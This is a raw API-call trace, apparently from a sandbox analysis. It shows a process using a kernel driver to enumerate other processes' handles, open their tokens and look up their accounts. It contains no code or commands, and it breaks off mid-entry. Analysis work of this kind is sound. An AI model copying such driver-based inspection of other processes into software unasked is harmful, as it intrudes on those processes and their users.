[0122.365] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.365] PsAcquireProcessExitSynchronization () returned 0x0 [0122.365] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.365] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c36ce0, HandleInformation=0x0) returned 0x0 [0122.365] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.365] PsReleaseProcessExitSynchronization () returned 0x2 [0122.365] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.366] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.366] ObfDereferenceObject (Object=0xfffffa8003c36ce0) returned 0x1 [0122.366] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.366] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.366] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.366] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.366] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.366] PsAcquireProcessExitSynchronization () returned 0x0 [0122.366] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.366] ObReferenceObjectByHandle (in: Handle=0x5b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c36970, HandleInformation=0x0) returned 0x0 [0122.366] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.366] PsReleaseProcessExitSynchronization () returned 0x2 [0122.366] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.366] ObQueryNameString (in: Object=0xfffffa8003c36970, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.366] ObfDereferenceObject (Object=0xfffffa8003c36970) returned 0x1 [0122.366] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.366] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.366] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.366] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.366] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.366] PsAcquireProcessExitSynchronization () returned 0x0 [0122.366] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880044355d0) [0122.366] ObReferenceObjectByHandle (in: Handle=0x5c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0122.366] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.366] PsReleaseProcessExitSynchronization () returned 0x2 [0122.366] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0122.366] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.366] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0122.366] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.367] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.367] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xc0 [0122.367] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.367] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0122.367] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.367] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0122.367] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.367] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.367] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.367] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.367] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.368] CloseHandle (hObject=0xc8) returned 1 [0122.369] CloseHandle (hObject=0xc0) returned 1 [0122.369] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.369] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.369] PsAcquireProcessExitSynchronization () returned 0x0 [0122.369] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880044355d0) [0122.369] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003224b20, HandleInformation=0x0) returned 0x0 [0122.369] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.369] PsReleaseProcessExitSynchronization () returned 0x2 [0122.369] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0122.369] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.369] ObfDereferenceObject (Object=0xfffffa8003224b20) returned 0x1 [0122.369] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.369] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.369] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.369] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.369] PsLookupProcessByProcessId (in: ProcessId=0x434, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.369] PsAcquireProcessExitSynchronization () returned 0x0 [0122.369] KeStackAttachProcess (in: PROCESS=0xfffffa8003223790, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003223790, ApcState=0xfffff880044355d0) [0122.369] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.369] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.369] PsReleaseProcessExitSynchronization () returned 0x2 [0122.369] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2b [0122.369] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.369] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.369] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.369] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.370] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xc0 [0122.370] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.370] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0122.370] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.370] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18c [0122.370] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.370] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.370] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.370] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.370] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.371] CloseHandle (hObject=0xc8) returned 1 [0122.371] CloseHandle (hObject=0xc0) returned 1 [0122.371] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.371] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.371] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.371] PsAcquireProcessExitSynchronization () returned 0x0 [0122.371] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.371] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6b680, HandleInformation=0x0) returned 0x0 [0122.371] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.371] PsReleaseProcessExitSynchronization () returned 0x2 [0122.372] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.372] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.372] ObfDereferenceObject (Object=0xfffffa8002f6b680) returned 0x1 [0122.372] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.372] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.372] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0122.372] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.372] PsAcquireProcessExitSynchronization () returned 0x0 [0122.372] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.372] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003233380, HandleInformation=0x0) returned 0x0 [0122.372] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.372] PsReleaseProcessExitSynchronization () returned 0x2 [0122.372] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.372] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.372] ObfDereferenceObject (Object=0xfffffa8003233380) returned 0x1 [0122.372] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.372] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.372] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.372] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0122.372] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.372] PsAcquireProcessExitSynchronization () returned 0x0 [0122.372] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.372] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0122.372] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.372] PsReleaseProcessExitSynchronization () returned 0x2 [0122.372] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.372] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.372] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0122.372] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.373] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.373] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.373] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.373] PsAcquireProcessExitSynchronization () returned 0x0 [0122.373] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.373] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.373] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.373] PsReleaseProcessExitSynchronization () returned 0x2 [0122.373] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.373] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.373] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.373] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.373] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.373] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.373] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.373] PsAcquireProcessExitSynchronization () returned 0x0 [0122.373] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.373] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003241f20, HandleInformation=0x0) returned 0x0 [0122.373] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.373] PsReleaseProcessExitSynchronization () returned 0x2 [0122.373] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.373] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0122.373] ObfDereferenceObject (Object=0xfffffa8003241f20) returned 0x1 [0122.373] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.373] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.373] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.373] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0122.373] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.373] PsAcquireProcessExitSynchronization () returned 0x0 [0122.373] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.373] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032429e0, HandleInformation=0x0) returned 0x0 [0122.373] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.374] PsReleaseProcessExitSynchronization () returned 0x2 [0122.374] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.374] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.374] ObfDereferenceObject (Object=0xfffffa80032429e0) returned 0x1 [0122.374] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.374] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.374] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.374] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.374] PsAcquireProcessExitSynchronization () returned 0x0 [0122.374] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.374] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.374] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.374] PsReleaseProcessExitSynchronization () returned 0x2 [0122.374] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.374] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0122.374] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.374] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.374] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.374] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.374] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.374] PsAcquireProcessExitSynchronization () returned 0x0 [0122.374] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880044355d0) [0122.374] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.374] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.374] PsReleaseProcessExitSynchronization () returned 0x2 [0122.374] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0122.374] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.374] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.374] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.374] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.374] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.374] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, 